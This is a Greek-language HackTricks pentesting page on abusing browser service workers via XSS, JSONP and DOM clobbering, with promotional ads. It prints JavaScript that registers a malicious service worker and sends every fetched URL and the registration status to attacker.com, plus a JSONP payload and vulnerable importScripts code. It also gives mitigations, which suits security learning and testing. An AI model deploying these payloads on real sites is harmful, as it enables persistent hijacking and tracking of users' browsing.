hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

14 KiB
Raw Blame History

Κατάχρηση των Service Workers

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. Δοκιμάστε το δωρεάν σήμερα.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Βασικές Πληροφορίες

Ένας service worker είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας λειτουργίες που δεν απαιτούν ιστοσελίδα ή αλληλεπίδραση με τον χρήστη, ενισχύοντας έτσι τις δυνατότητες εκτέλεσης εκτός σύνδεσης και στο παρασκήνιο. Λεπτομερείς πληροφορίες για τους service workers μπορούν να βρεθούν εδώ. Εκμεταλλευόμενοι τους service workers εντός ενός ευπάθους τομέα ιστοσελίδας, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο επί των αλληλεπιδράσεων του θύματος με όλες τις σελίδες εντός αυτού του τομέα.

Έλεγχος για Υπάρχοντες Service Workers

Οι υπάρχοντες service workers μπορούν να ελεγχθούν στην ενότητα Service Workers της καρτέλας Application στα Εργαλεία Προγραμματιστή. Μια άλλη μέθοδος είναι να επισκεφθείτε τη διεύθυνση chrome://serviceworker-internals για μια πιο λεπτομερή προβολή.

Ειδοποιήσεις Push

Οι άδειες ειδοποίησης push επηρεάζουν απευθείας τη δυνατότητα ενός service worker να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση του χρήστη. Αν οι άδειες αρνηθούν, περιορίζεται η δυνατότητα του service worker να αποτελεί συνεχή απειλή. Αντίθετα, η χορήγηση άδειας αυξάνει τους κινδύνους ασφαλείας επιτρέποντας τη λήψη και εκτέλεση πιθανών εκμεταλλεύσεων.

Επίθεση Δημιουργίας Service Worker

Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε:

  • Έναν τρόπο να ανεβάσετε αυθαίρετα αρχεία JS στον διακομιστή και ένα XSS για να φορτώσετε τον service worker του ανεβασμένου αρχείου JS
  • Ένα ευπάθεια JSONP αίτησης όπου μπορείτε να διαμορφώσετε την έξοδο (με αυθαίρετο κώδικα JS) και ένα XSS για να φορτώσετε το JSONP με ένα φορτίο που θα φορτώσει ένα κακόβουλο service worker.

Στο παρακάτω παράδειγμα θα παρουσιάσω έναν κώδικα για να καταχωρίσετε έναν νέο service worker που θα ακούει το γεγονός fetch και θα στέλνει στον διακομιστή των επιτιθέμενων κάθε φορτωμένο URL (αυτός είναι ο κώδικας που θα χρειαζόσασταν να ανεβάσετε στον διακομιστή ή να φορτώσετε μέσω μιας ευπάθειας απάντησης JSONP):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Και αυτός είναι ο κώδικας που θα καταχωρήσει τον εργαζόμενο (ο κώδικας που θα πρέπει να μπορείτε να εκτελέσετε καταχρώμενοι ένα XSS). Σε αυτήν την περίπτωση, θα αποσταλεί ένα αίτημα GET στον διακομιστή του επιτιθέμενου, ενημερώνοντας αν η καταχώρηση του εργαζόμενου υπηρεσίας ήταν επιτυχής ή όχι:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP σημείου πρέπει να τοποθετήσετε την τιμή μέσα στη μεταβλητή var sw. Για παράδειγμα:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Υπάρχει ένας C2 αφιερωμένος στην εκμετάλλευση των Service Workers που ονομάζεται Shadow Workers και θα είναι πολύ χρήσιμος για την κατάχρηση αυτών των ευπαθειών.

Η οδηγία 24ωρης προσωρινής αποθήκευσης περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή παραβιασμένου service worker (SW) σε το πολύ 24 ώρες μετά από την επιδιόρθωση μιας ευπάθειας XSS, υποθέτοντας ότι ο πελάτης είναι συνδεδεμένος στο διαδίκτυο. Για να ελαχιστοποιηθεί η ευπάθεια, οι χειριστές του ιστότοπου μπορούν να μειώσουν τον χρόνο ζωής (TTL) του script του SW. Συνιστάται επίσης στους προγραμματιστές να δημιουργήσουν ένα διακόπτη απενεργοποίησης του service worker για γρήγορη απενεργοποίηση.

Κατάχρηση της importScripts σε ένα SW μέσω DOM Clobbering

Η συνάρτηση importScripts που καλείται από ένα Service Worker μπορεί να εισάγει ένα script από διαφορετικό τομέα. Εάν αυτή η συνάρτηση καλείται χρησιμοποιώντας ένα παράμετρο που ένας επιτιθέμενος θα μπορούσε να τροποποιήσει, θα μπορούσε να εισάγει ένα JS script από τον δικό του τομέα και να προκαλέσει XSS.

Αυτό ακόμη παρακάμπτει τις προστασίες CSP.

Παράδειγμα ευπαθούς κώδικα:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Με το DOM Clobbering

Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ανατρέξτε στο:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Εάν η διεύθυνση URL/τομέας που ο SW χρησιμοποιεί για να καλέσει την importScripts βρίσκεται μέσα σε ένα στοιχείο HTML, είναι δυνατό να το τροποποιήσετε μέσω του DOM Clobbering για να κάνετε το SW να φορτώσει ένα σενάριο από τον δικό σας τομέα.

Για ένα παράδειγμα αυτού, ανατρέξτε στον σύνδεσμο αναφοράς.

Αναφορές

Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνειά σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβο, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. Δοκιμάστε το δωρεάν σήμερα.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!